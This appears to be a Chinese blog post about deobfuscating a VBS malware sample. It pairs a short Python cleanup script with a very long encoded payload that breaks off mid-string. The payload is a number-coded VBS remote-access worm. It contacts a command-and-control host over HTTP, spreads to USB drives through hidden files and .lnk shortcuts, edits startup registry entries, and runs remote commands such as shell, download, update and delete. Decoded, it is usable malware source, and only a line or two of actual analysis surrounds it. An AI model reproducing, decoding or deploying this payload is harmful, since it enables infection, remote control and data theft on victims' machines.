最近碰到一个vbs的样本,做了一点简单的变形,正好在练py,so...
0x1 py处理
代码分为2部分:
一将vbs冗余代码清除;
二还原混淆的代码.
' a test module ahoo'
__author__ = 'ahoo'
import sys
import os
import codecs
import re
import shutil
myVirus = []
Md5Virus= []
PutPath = 'Mount.vbs.vir'
OutPath = 'Mount.vbs.log'
runPaht = 'Mount.vbs.run'
def test():
argv = sys.argv
argc = len(sys.argv)
if argc > 3:
print('Too many argv')
return False
if os.path.exists(PutPath):
f = codecs.open(PutPath,'r','utf-8')
f_out = codecs.open(OutPath,'w','utf-8')
f_run = codecs.open(runPaht,'w','utf-8')
for line in f:
if None == line:
pass
else:
print(line[0:32] + '\n')
myVirus.append(line)
f.close()
for i in myVirus:
if "WScript.Sleep(0" not in i:
f_out.write(i + '\n')
f_out.close()
EHSHSH = "35+56+87+28+110+97+95+107+96+97+110+28+54+28+100+107+113+96+101+106+101+28+36+95+37+28+111+103+117+108+97+28+54+28+100+107+113+96+101+106+101+41+98+116+28+89+58+9+6+9+6+35+57+41+57+41+57+41+57+41+57+28+95+107+106+98+101+99+28+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+9+6+9+6+100+107+111+112+28+57+28+30+95+100+110+107+105+97+108+104+113+99+101+106+111+42+105+107+107+107+42+95+107+105+30+9+6+108+107+110+112+28+57+28+45+49+49+9+6+101+106+111+112+93+104+104+96+101+110+28+57+28+30+33+112+97+105+108+33+30+9+6+104+106+103+98+101+104+97+28+57+28+112+110+113+97+9+6+104+106+103+98+107+104+96+97+110+28+57+28+112+110+113+97+9+6+9+6+35+57+41+57+41+57+41+57+41+57+28+108+113+94+104+101+95+28+114+93+110+28+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+9+6+9+6+96+101+105+28+111+100+97+104+104+107+94+102+28+9+6+111+97+112+28+111+100+97+104+104+107+94+102+28+57+28+115+111+95+110+101+108+112+42+95+110+97+93+112+97+107+94+102+97+95+112+36+30+115+111+95+110+101+108+112+42+111+100+97+104+104+30+37+9+6+96+101+105+28+98+101+104+97+111+117+111+112+97+105+107+94+102+9+6+111+97+112+28+98+101+104+97+111+117+111+112+97+105+107+94+102+28+57+28+95+110+97+93+112+97+107+94+102+97+95+112+36+30+111+95+110+101+108+112+101+106+99+42+98+101+104+97+111+117+111+112+97+105+107+94+102+97+95+112+30+37+9+6+96+101+105+28+100+112+112+108+107+94+102+9+6+111+97+112+28+100+112+112+108+107+94+102+28+57+28+95+110+97+93+112+97+107+94+102+97+95+112+36+30+105+111+116+105+104+46+42+116+105+104+100+112+112+108+30+37+9+6+9+6+9+6+35+57+41+57+41+57+41+57+41+57+28+108+110+101+114+93+112+28+114+93+110+28+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+9+6+9+6+101+106+111+112+93+104+104+106+93+105+97+28+57+28+115+111+95+110+101+108+112+42+111+95+110+101+108+112+106+93+105+97+9+6+111+112+93+110+112+113+108+28+57+28+111+100+97+104+104+107+94+102+42+111+108+97+95+101+93+104+98+107+104+96+97+110+111+28+36+30+111+112+93+110+112+113+108+30+37+28+34+28+30+88+30+9+6+101+106+111+112+93+104+104+96+101+110+28+57+28+111+100+97+104+104+107+94+102+42+97+116+108+93+106+96+97+106+114+101+110+107+106+105+97+106+112+111+112+110+101+106+99+111+36+101+106+111+112+93+104+104+96+101+110+37+28+34+28+30+88+30+9+6+101+98+28+106+107+112+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+98+107+104+96+97+110+97+116+101+111+112+111+36+101+106+111+112+93+104+104+96+101+110+37+28+112+100+97+106+28+28+101+106+111+112+93+104+104+96+101+110+28+57+28+111+100+97+104+104+107+94+102+42+97+116+108+93+106+96+97+106+114+101+110+107+106+105+97+106+112+111+112+110+101+106+99+111+36+30+33+112+97+105+108+33+30+37+28+34+28+30+88+30+9+6+111+108+104+101+112+97+110+28+57+28+30+56+30+28+34+28+30+120+30+28+34+28+30+58+30+9+6+111+104+97+97+108+28+57+28+49+44+44+44+28+9+6+96+101+105+28+110+97+111+108+107+106+111+97+9+6+96+101+105+28+95+105+96+9+6+96+101+105+28+108+93+110+93+105+9+6+101+106+98+107+28+57+28+30+30+9+6+113+111+94+111+108+110+97+93+96+101+106+99+28+57+28+30+30+9+6+111+112+93+110+112+96+93+112+97+28+57+28+30+30+9+6+96+101+105+28+107+106+97+107+106+95+97+9+6+9+6+35+57+41+57+41+57+41+57+41+57+28+95+107+96+97+28+111+112+93+110+112+28+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+41+57+9+6+107+106+28+97+110+110+107+110+28+110+97+111+113+105+97+28+106+97+116+112+9+6+9+6+9+6+101+106+111+112+93+106+95+97+9+6+115+100+101+104+97+28+112+110+113+97+9+6+9+6+101+106+111+112+93+104+104+9+6+9+6+110+97+111+108+107+106+111+97+28+57+28+30+30+9+6+110+97+111+108+107+106+111+97+28+57+28+108+107+111+112+28+36+30+101+111+41+110+97+93+96+117+30+40+30+30+37+9+6+95+105+96+28+57+28+111+108+104+101+112+28+36+110+97+111+108+107+106+111+97+40+111+108+104+101+112+97+110+37+9+6+111+97+104+97+95+112+28+95+93+111+97+28+95+105+96+28+36+44+37+9+6+95+93+111+97+28+30+97+116+95+97+95+113+112+97+30+9+6+28+28+28+28+28+28+108+93+110+93+105+28+57+28+95+105+96+28+36+45+37+9+6+28+28+28+28+28+28+97+116+97+95+113+112+97+28+108+93+110+93+105+9+6+95+93+111+97+28+30+113+108+96+93+112+97+30+9+6+28+28+28+28+28+28+108+93+110+93+105+28+57+28+95+105+96+28+36+45+37+9+6+28+28+28+28+28+28+107+106+97+107+106+95+97+42+95+104+107+111+97+9+6+28+28+28+28+28+28+111+97+112+28+107+106+97+107+106+95+97+28+57+28+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+107+108+97+106+112+97+116+112+98+101+104+97+28+36+101+106+111+112+93+104+104+96+101+110+28+34+28+101+106+111+112+93+104+104+106+93+105+97+28+40+46+40+28+98+93+104+111+97+37+9+6+28+28+28+28+28+28+107+106+97+107+106+95+97+42+115+110+101+112+97+28+108+93+110+93+105+9+6+28+28+28+28+28+28+107+106+97+107+106+95+97+42+95+104+107+111+97+9+6+28+28+28+28+28+28+111+100+97+104+104+107+94+102+42+110+113+106+28+30+115+111+95+110+101+108+112+42+97+116+97+28+43+43+62+28+30+28+34+28+95+100+110+36+47+48+37+28+34+28+101+106+111+112+93+104+104+96+101+110+28+34+28+101+106+111+112+93+104+104+106+93+105+97+28+34+28+95+100+110+36+47+48+37+9+6+28+28+28+28+28+28+115+111+95+110+101+108+112+42+109+113+101+112+28+9+6+95+93+111+97+28+30+113+106+101+106+111+112+93+104+104+30+9+6+28+28+28+28+28+28+113+106+101+106+111+112+93+104+104+9+6+95+93+111+97+28+30+111+97+106+96+30+9+6+28+28+28+28+28+28+96+107+115+106+104+107+93+96+28+95+105+96+28+36+45+37+40+95+105+96+28+36+46+37+9+6+95+93+111+97+28+30+111+101+112+97+41+111+97+106+96+30+9+6+28+28+28+28+28+28+111+101+112+97+96+107+115+106+104+107+93+96+97+110+28+95+105+96+28+36+45+37+40+95+105+96+28+36+46+37+9+6+95+93+111+97+28+30+110+97+95+114+30+9+6+28+28+28+28+28+28+108+93+110+93+105+28+57+28+95+105+96+28+36+45+37+9+6+28+28+28+28+28+28+113+108+104+107+93+96+28+36+108+93+110+93+105+37+9+6+95+93+111+97+28+28+30+97+106+113+105+41+96+110+101+114+97+110+30+9+6+28+28+28+28+28+28+108+107+111+112+28+30+101+111+41+97+106+113+105+41+96+110+101+114+97+110+30+40+97+106+113+105+96+110+101+114+97+110+28+28+9+6+95+93+111+97+28+28+30+97+106+113+105+41+98+93+98+30+9+6+28+28+28+28+28+28+108+93+110+93+105+28+57+28+95+105+96+28+36+45+37+9+6+28+28+28+28+28+28+108+107+111+112+28+30+101+111+41+97+106+113+105+41+98+93+98+30+40+97+106+113+105+98+93+98+28+36+108+93+110+93+105+37+9+6+95+93+111+97+28+28+30+97+106+113+105+41+108+110+107+95+97+111+111+30+9+6+28+28+28+28+28+28+108+107+111+112+28+30+101+111+41+97+106+113+105+41+108+110+107+95+97+111+111+30+40+97+106+113+105+108+110+107+95+97+111+111+28+28+28+9+6+95+93+111+97+28+28+30+95+105+96+41+111+100+97+104+104+30+9+6+28+28+28+28+28+28+108+93+110+93+105+28+57+28+95+105+96+28+36+45+37+9+6+28+28+28+28+28+28+108+107+111+112+28+30+101+111+41+95+105+96+41+111+100+97+104+104+30+40+95+105+96+111+100+97+104+104+28+36+108+93+110+93+105+37+28+28+9+6+95+93+111+97+28+28+30+96+97+104+97+112+97+30+9+6+28+28+28+28+28+28+108+93+110+93+105+28+57+28+95+105+96+28+36+45+37+9+6+28+28+28+28+28+28+96+97+104+97+112+97+98+93+98+28+36+108+93+110+93+105+37+28+9+6+95+93+111+97+28+28+30+97+116+101+112+41+108+110+107+95+97+111+111+30+9+6+28+28+28+28+28+28+108+93+110+93+105+28+57+28+95+105+96+28+36+45+37+9+6+28+28+28+28+28+28+97+116+101+112+108+110+107+95+97+111+111+28+36+108+93+110+93+105+37+28+9+6+95+93+111+97+28+28+30+111+104+97+97+108+30+9+6+28+28+28+28+28+28+108+93+110+93+105+28+57+28+95+105+96+28+36+45+37+9+6+28+28+28+28+28+28+111+104+97+97+108+28+57+28+97+114+93+104+28+36+108+93+110+93+105+37+28+28+28+28+28+28+28+28+9+6+97+106+96+28+111+97+104+97+95+112+9+6+9+6+115+111+95+110+101+108+112+42+111+104+97+97+108+28+111+104+97+97+108+9+6+9+6+115+97+106+96+9+6+9+6+9+6+111+113+94+28+101+106+111+112+93+104+104+9+6+107+106+28+97+110+110+107+110+28+110+97+111+113+105+97+28+106+97+116+112+9+6+96+101+105+28+104+106+103+107+94+102+9+6+96+101+105+28+98+101+104+97+106+93+105+97+9+6+96+101+105+28+98+107+104+96+97+110+106+93+105+97+9+6+96+101+105+28+98+101+104+97+101+95+107+106+9+6+96+101+105+28+98+107+104+96+97+110+101+95+107+106+9+6+9+6+113+108+111+112+93+110+112+9+6+98+107+110+28+97+93+95+100+28+96+110+101+114+97+28+101+106+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+96+110+101+114+97+111+9+6+9+6+101+98+28+28+96+110+101+114+97+42+101+111+110+97+93+96+117+28+57+28+112+110+113+97+28+112+100+97+106+9+6+101+98+28+28+96+110+101+114+97+42+98+110+97+97+111+108+93+95+97+28+28+58+28+44+28+112+100+97+106+9+6+101+98+28+28+96+110+101+114+97+42+96+110+101+114+97+112+117+108+97+28+28+57+28+45+28+112+100+97+106+9+6+28+28+28+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+95+107+108+117+98+101+104+97+28+115+111+95+110+101+108+112+42+111+95+110+101+108+112+98+113+104+104+106+93+105+97+28+40+28+96+110+101+114+97+42+108+93+112+100+28+34+28+30+88+30+28+34+28+101+106+111+112+93+104+104+106+93+105+97+40+112+110+113+97+9+6+28+28+28+28+101+98+28+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+98+101+104+97+97+116+101+111+112+111+28+36+96+110+101+114+97+42+108+93+112+100+28+34+28+30+88+30+28+34+28+101+106+111+112+93+104+104+106+93+105+97+37+28+28+112+100+97+106+9+6+28+28+28+28+28+28+28+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+99+97+112+98+101+104+97+36+96+110+101+114+97+42+108+93+112+100+28+34+28+30+88+30+28+28+34+28+101+106+111+112+93+104+104+106+93+105+97+37+42+93+112+112+110+101+94+113+112+97+111+28+57+28+46+39+48+9+6+28+28+28+28+97+106+96+28+101+98+9+6+28+28+28+28+98+107+110+28+97+93+95+100+28+98+101+104+97+28+101+106+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+99+97+112+98+107+104+96+97+110+36+28+96+110+101+114+97+42+108+93+112+100+28+34+28+30+88+30+28+37+42+66+101+104+97+111+9+6+28+28+28+28+28+28+28+28+101+98+28+106+107+112+28+104+106+103+98+101+104+97+28+112+100+97+106+28+97+116+101+112+28+98+107+110+9+6+28+28+28+28+28+28+28+28+101+98+28+28+101+106+111+112+110+28+36+98+101+104+97+42+106+93+105+97+40+30+42+30+37+28+112+100+97+106+9+6+28+28+28+28+28+28+28+28+28+28+28+28+101+98+28+28+104+95+93+111+97+28+36+111+108+104+101+112+36+98+101+104+97+42+106+93+105+97+40+28+30+42+30+37+28+36+113+94+107+113+106+96+36+111+108+104+101+112+36+98+101+104+97+42+106+93+105+97+40+28+30+42+30+37+37+37+37+28+56+58+28+30+104+106+103+30+28+112+100+97+106+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+98+101+104+97+42+93+112+112+110+101+94+113+112+97+111+28+57+28+46+39+48+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+101+98+28+28+113+95+93+111+97+28+36+98+101+104+97+42+106+93+105+97+37+28+56+58+28+113+95+93+111+97+28+36+101+106+111+112+93+104+104+106+93+105+97+37+28+112+100+97+106+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+98+101+104+97+106+93+105+97+28+57+28+111+108+104+101+112+36+98+101+104+97+42+106+93+105+97+40+30+42+30+37+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+111+97+112+28+104+106+103+107+94+102+28+57+28+111+100+97+104+104+107+94+102+42+95+110+97+93+112+97+111+100+107+110+112+95+113+112+28+36+96+110+101+114+97+42+108+93+112+100+28+34+28+30+88+30+28+28+34+28+98+101+104+97+106+93+105+97+28+36+44+37+28+34+28+30+42+104+106+103+30+37+28+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+104+106+103+107+94+102+42+115+101+106+96+107+115+111+112+117+104+97+28+57+28+51+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+104+106+103+107+94+102+42+112+93+110+99+97+112+108+93+112+100+28+57+28+30+95+105+96+42+97+116+97+30+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+104+106+103+107+94+102+42+115+107+110+103+101+106+99+96+101+110+97+95+112+107+110+117+28+57+28+30+30+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+104+106+103+107+94+102+42+93+110+99+113+105+97+106+112+111+28+57+28+30+43+95+28+111+112+93+110+112+28+30+28+34+28+110+97+108+104+93+95+97+36+101+106+111+112+93+104+104+106+93+105+97+40+30+28+30+40+28+95+100+110+115+36+47+48+37+28+34+28+30+28+30+28+34+28+95+100+110+115+36+47+48+37+37+28+34+28+30+34+111+112+93+110+112+28+30+28+34+28+110+97+108+104+93+95+97+36+98+101+104+97+42+106+93+105+97+40+30+28+30+40+28+95+100+110+115+36+47+48+37+28+34+28+30+28+30+28+34+28+95+100+110+115+36+47+48+37+37+28+34+30+34+97+116+101+112+30+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+98+101+104+97+101+95+107+106+28+57+28+111+100+97+104+104+107+94+102+42+110+97+99+110+97+93+96+28+36+30+68+71+65+85+91+72+75+63+61+72+91+73+61+63+68+69+74+65+88+111+107+98+112+115+93+110+97+88+95+104+93+111+111+97+111+88+30+28+34+28+111+100+97+104+104+107+94+102+42+110+97+99+110+97+93+96+28+36+30+68+71+65+85+91+72+75+63+61+72+91+73+61+63+68+69+74+65+88+111+107+98+112+115+93+110+97+88+95+104+93+111+111+97+111+88+42+30+28+34+28+111+108+104+101+112+36+98+101+104+97+42+106+93+105+97+40+28+30+42+30+37+36+113+94+107+113+106+96+36+111+108+104+101+112+36+98+101+104+97+42+106+93+105+97+40+28+30+42+30+37+37+37+34+28+30+88+30+37+28+34+28+30+88+96+97+98+93+113+104+112+101+95+107+106+88+30+37+28+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+101+98+28+28+101+106+111+112+110+28+36+98+101+104+97+101+95+107+106+40+30+40+30+37+28+57+28+44+28+112+100+97+106+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+104+106+103+107+94+102+42+101+95+107+106+104+107+95+93+112+101+107+106+28+57+28+98+101+104+97+42+108+93+112+100+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+97+104+111+97+28+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+104+106+103+107+94+102+42+101+95+107+106+104+107+95+93+112+101+107+106+28+57+28+98+101+104+97+101+95+107+106+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+97+106+96+28+101+98+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+104+106+103+107+94+102+42+111+93+114+97+36+37+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+97+106+96+28+101+98+9+6+28+28+28+28+28+28+28+28+28+28+28+28+97+106+96+28+101+98+9+6+28+28+28+28+28+28+28+28+97+106+96+28+101+98+9+6+28+28+28+28+106+97+116+112+9+6+28+28+28+28+98+107+110+28+97+93+95+100+28+98+107+104+96+97+110+28+101+106+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+99+97+112+98+107+104+96+97+110+36+28+96+110+101+114+97+42+108+93+112+100+28+34+28+30+88+30+28+37+42+111+113+94+98+107+104+96+97+110+111+9+6+28+28+28+28+28+28+28+28+101+98+28+106+107+112+28+104+106+103+98+107+104+96+97+110+28+112+100+97+106+28+97+116+101+112+28+98+107+110+9+6+28+28+28+28+28+28+28+28+98+107+104+96+97+110+42+93+112+112+110+101+94+113+112+97+111+28+57+28+46+39+48+9+6+28+28+28+28+28+28+28+28+98+107+104+96+97+110+106+93+105+97+28+57+28+98+107+104+96+97+110+42+106+93+105+97+9+6+28+28+28+28+28+28+28+28+111+97+112+28+104+106+103+107+94+102+28+57+28+111+100+97+104+104+107+94+102+42+95+110+97+93+112+97+111+100+107+110+112+95+113+112+28+36+96+110+101+114+97+42+108+93+112+100+28+34+28+30+88+30+28+28+34+28+98+107+104+96+97+110+106+93+105+97+28+34+28+30+42+104+106+103+30+37+28+9+6+28+28+28+28+28+28+28+28+104+106+103+107+94+102+42+115+101+106+96+107+115+111+112+117+104+97+28+57+28+51+9+6+28+28+28+28+28+28+28+28+104+106+103+107+94+102+42+112+93+110+99+97+112+108+93+112+100+28+57+28+30+95+105+96+42+97+116+97+30+9+6+28+28+28+28+28+28+28+28+104+106+103+107+94+102+42+115+107+110+103+101+106+99+96+101+110+97+95+112+107+110+117+28+57+28+30+30+9+6+28+28+28+28+28+28+28+28+104+106+103+107+94+102+42+93+110+99+113+105+97+106+112+111+28+57+28+30+43+95+28+111+112+93+110+112+28+30+28+34+28+110+97+108+104+93+95+97+36+101+106+111+112+93+104+104+106+93+105+97+40+30+28+30+40+28+95+100+110+115+36+47+48+37+28+34+28+30+28+30+28+34+28+95+100+110+115+36+47+48+37+37+28+34+28+30+34+111+112+93+110+112+28+97+116+108+104+107+110+97+110+28+30+28+34+28+110+97+108+104+93+95+97+36+98+107+104+96+97+110+42+106+93+105+97+40+30+28+30+40+28+95+100+110+115+36+47+48+37+28+34+28+30+28+30+28+34+28+95+100+110+115+36+47+48+37+37+28+34+30+34+97+116+101+112+30+9+6+28+28+28+28+28+28+28+28+98+107+104+96+97+110+101+95+107+106+28+57+28+111+100+97+104+104+107+94+102+42+110+97+99+110+97+93+96+28+36+30+68+71+65+85+91+72+75+63+61+72+91+73+61+63+68+69+74+65+88+111+107+98+112+115+93+110+97+88+95+104+93+111+111+97+111+88+98+107+104+96+97+110+88+96+97+98+93+113+104+112+101+95+107+106+88+30+37+28+9+6+28+28+28+28+28+28+28+28+101+98+28+28+101+106+111+112+110+28+36+98+107+104+96+97+110+101+95+107+106+40+30+40+30+37+28+57+28+44+28+112+100+97+106+9+6+28+28+28+28+28+28+28+28+28+28+28+28+104+106+103+107+94+102+42+101+95+107+106+104+107+95+93+112+101+107+106+28+57+28+98+107+104+96+97+110+42+108+93+112+100+9+6+28+28+28+28+28+28+28+28+97+104+111+97+28+9+6+28+28+28+28+28+28+28+28+28+28+28+28+104+106+103+107+94+102+42+101+95+107+106+104+107+95+93+112+101+107+106+28+57+28+98+107+104+96+97+110+101+95+107+106+9+6+28+28+28+28+28+28+28+28+97+106+96+28+101+98+9+6+28+28+28+28+28+28+28+28+104+106+103+107+94+102+42+111+93+114+97+36+37+9+6+28+28+28+28+106+97+116+112+9+6+97+106+96+28+69+98+9+6+97+106+96+28+69+98+9+6+97+106+96+28+101+98+9+6+106+97+116+112+9+6+97+110+110+42+95+104+97+93+110+9+6+97+106+96+28+111+113+94+9+6+9+6+111+113+94+28+113+106+101+106+111+112+93+104+104+9+6+107+106+28+97+110+110+107+110+28+110+97+111+113+105+97+28+106+97+116+112+9+6+96+101+105+28+98+101+104+97+106+93+105+97+9+6+96+101+105+28+98+107+104+96+97+110+106+93+105+97+9+6+9+6+111+100+97+104+104+107+94+102+42+110+97+99+96+97+104+97+112+97+28+30+68+71+65+85+91+63+81+78+78+65+74+80+91+81+79+65+78+88+111+107+98+112+115+93+110+97+88+105+101+95+110+107+111+107+98+112+88+115+101+106+96+107+115+111+88+95+113+110+110+97+106+112+114+97+110+111+101+107+106+88+110+113+106+88+30+28+34+28+111+108+104+101+112+28+36+101+106+111+112+93+104+104+106+93+105+97+40+30+42+30+37+36+44+37+9+6+111+100+97+104+104+107+94+102+42+110+97+99+96+97+104+97+112+97+28+30+68+71+65+85+91+72+75+63+61+72+91+73+61+63+68+69+74+65+88+111+107+98+112+115+93+110+97+88+105+101+95+110+107+111+107+98+112+88+115+101+106+96+107+115+111+88+95+113+110+110+97+106+112+114+97+110+111+101+107+106+88+110+113+106+88+30+28+34+28+111+108+104+101+112+28+36+101+106+111+112+93+104+104+106+93+105+97+40+30+42+30+37+36+44+37+9+6+98+101+104+97+111+117+111+112+97+105+107+94+102+42+96+97+104+97+112+97+98+101+104+97+28+111+112+93+110+112+113+108+28+34+28+101+106+111+112+93+104+104+106+93+105+97+28+40+112+110+113+97+9+6+98+101+104+97+111+117+111+112+97+105+107+94+102+42+96+97+104+97+112+97+98+101+104+97+28+115+111+95+110+101+108+112+42+111+95+110+101+108+112+98+113+104+104+106+93+105+97+28+40+112+110+113+97+9+6+9+6+98+107+110+28+28+97+93+95+100+28+96+110+101+114+97+28+101+106+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+96+110+101+114+97+111+9+6+101+98+28+28+96+110+101+114+97+42+101+111+110+97+93+96+117+28+57+28+112+110+113+97+28+112+100+97+106+9+6+101+98+28+28+96+110+101+114+97+42+98+110+97+97+111+108+93+95+97+28+28+58+28+44+28+112+100+97+106+9+6+101+98+28+28+96+110+101+114+97+42+96+110+101+114+97+112+117+108+97+28+28+57+28+45+28+112+100+97+106+9+6+28+28+28+28+98+107+110+28+28+97+93+95+100+28+98+101+104+97+28+101+106+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+99+97+112+98+107+104+96+97+110+28+36+28+96+110+101+114+97+42+108+93+112+100+28+34+28+30+88+30+37+42+98+101+104+97+111+9+6+28+28+28+28+28+28+28+28+28+107+106+28+97+110+110+107+110+28+110+97+111+113+105+97+28+106+97+116+112+9+6+28+28+28+28+28+28+28+28+28+101+98+28+28+101+106+111+112+110+28+36+98+101+104+97+42+106+93+105+97+40+30+42+30+37+28+112+100+97+106+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+101+98+28+28+104+95+93+111+97+28+36+111+108+104+101+112+36+98+101+104+97+42+106+93+105+97+40+28+30+42+30+37+36+113+94+107+113+106+96+36+111+108+104+101+112+36+98+101+104+97+42+106+93+105+97+40+28+30+42+30+37+37+37+37+28+56+58+28+30+104+106+103+30+28+112+100+97+106+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+98+101+104+97+42+93+112+112+110+101+94+113+112+97+111+28+57+28+44+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+101+98+28+28+113+95+93+111+97+28+36+98+101+104+97+42+106+93+105+97+37+28+56+58+28+113+95+93+111+97+28+36+101+106+111+112+93+104+104+106+93+105+97+37+28+112+100+97+106+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+98+101+104+97+106+93+105+97+28+57+28+111+108+104+101+112+36+98+101+104+97+42+106+93+105+97+40+30+42+30+37+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+96+97+104+97+112+97+98+101+104+97+28+36+96+110+101+114+97+42+108+93+112+100+28+34+28+30+88+30+28+34+28+98+101+104+97+106+93+105+97+36+44+37+28+34+28+30+42+104+106+103+30+28+37+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+97+104+111+97+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+96+97+104+97+112+97+98+101+104+97+28+36+96+110+101+114+97+42+108+93+112+100+28+34+28+30+88+30+28+34+28+98+101+104+97+42+106+93+105+97+37+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+97+106+96+28+69+98+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+97+104+111+97+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+96+97+104+97+112+97+98+101+104+97+28+36+98+101+104+97+42+108+93+112+100+37+28+9+6+28+28+28+28+28+28+28+28+28+28+28+28+28+97+106+96+28+101+98+9+6+28+28+28+28+28+28+28+28+28+97+106+96+28+101+98+9+6+28+28+28+28+28+106+97+116+112+9+6+28+28+28+28+28+98+107+110+28+97+93+95+100+28+98+107+104+96+97+110+28+101+106+28+98+101+104+97+111+117+111+112+97+105+107+94+102+42+99+97+112+98+107+104+96+97+110+36+28+96+110+101+114+97+42+108+93+112+100+28+34+28+30+88+30+28+37+42+111+113+94+98+107+104+96+97+110+111+9+6+28+28+28+28+28+28+28+28+28+98+107+104+96+97+110+42+93+112+112+110+101+94+113+112+97+111+28+57+28+44+9+6+28+28+28+28+28+106+97+116+112+9+6+97+106+96+28+101+98+9+6+97+106+96+28+101+98+9+6+97+106+96+28+101+98+9+6+106+97+116+112+9+6+115+111+95+110+101+108+112+42+109+113+101+112+9+6+97+106+96+28+111+113+94+9+6+9+6+98+113+106+95+112+101+107+106+28+108+107+111+112+28+36+95+105+96+28+40+108+93+110+93+105+37+9+6+9+6+108+107+111+112+28+57+28+108+93+110+93+105+9+6+100+112+112+108+107+94+102+42+107+108+97+106+28+30+108+107+111+112+30+40+30+100+112+112+108+54+43+43+30+28+34+28+100+107+111+112+28+34+28+30+54+30+28+34+28+108+107+110+112+28+34+30+43+30+28+34+28+95+105+96+40+28+98+93+104+111+97+9+6+100+112+112+108+107+94+102+42+111+97+112+110+97+109+113+97+111+112+100+97+93+96+97+110+28+30+113+111+97+110+41+93+99+97+106+112+54+30+40+101+106+98+107+110+105+93+112+101+107+106+9+6+100+112+112+108+107+94+102+42+111+97+106+96+28+108+93+110+93+105+9+6+108+107+111+112+28+57+28+100+112+112+108+107+94+102+42+110+97+111+108+107+106+111+97+112+97+116+112+9+6+97+106+96+28+98+113+106+95+112+101+107+106+9+6+9+6+98+113+106+95+112+101+107+106+28+101+106+98+107+110+105+93+112+101+107+106+9+6+107+106+28+97+110+110+107+110+28+110+97+111+113+105+97+28+106+97+116+112+9+6+101+98+28+28+101+106+98+28+57+28+30+30+28+112+100+97+106+9+6+28+28+28+28+101+106+98+28+57+28+100+115+101+96+28+34+28+111+108+104+101+112+97+110+28+9+6+28+28+28+28+101+106+98+28+57+28+101+106+98+28+28+34+28+111+100+97+104+104+107+94+102+42+97+116+108+93+106+96+97+106+114+101+110+107+106+105+97+106+112+111+112+110+101+106+99+111+36+30+33+95+107+105+108+113+112+97+110+106+93+105+97+33+30+37+28+34+28+111+108+104+101+112+97+110+28+9+6+28+28+28+28+101+106+98+28+57+28+101+106+98+28+28+34+28+111+100+97+104+104+107+94+102+42+97+116+108+93+106+96+97+106+114+101+110+107+106+105+97+106+112+111+112+110+101+106+99+111+36+30+33+113+111+97+110+106+93+105+97+33+30+37+28+34+28+111+108+104+101+112+97+110+9+6+9+6+28+28+28+28+111+97+112+28+110+107+107+112+28+57+28+99+97+112+107+94+102+97+95+112+36+30+115+101+106+105+99+105+112+111+54+119+101+105+108+97+110+111+107+106+93+112+101+107+106+104+97+114+97+104+57+101+105+108+97+110+111+107+106+93+112+97+121+29+88+88+42+88+110+107+107+112+88+95+101+105+114+46+30+37+9+6+28+28+28+28+111+97+112+28+107+111+28+57+28+110+107+107+112+42+97+116+97+95+109+113+97+110+117+28+36+30+111+97+104+97+95+112+28+38+28+98+110+107+105+28+115+101+106+47+46+91+107+108+97+110+93+112+101+106+99+111+117+111+112+97+105+30+37+9+6+28+28+28+28+98+107+110+28+97+93+95+100+28+107+111+101+106+98+107+28+101+106+28+107+111+9+6+28+28+28+28+28+28+28+101+106+98+28+57+28+101+106+98+28+34+28+107+111+101+106+98+107+42+95+93+108+112+101+107+106+28+34+28+111+108+104+101+112+97+110+28+28+9+6+28+28+28+28+28+28+28+97+116+101+112+28+98+107+110+9+6+28+28+28+28+106+97+116+112+9+6+28+28+28+28+101+106+98+28+57+28+101+106+98+28+34+28+30+108+104+113+111+30+28+34+28+111+108+104+101+112+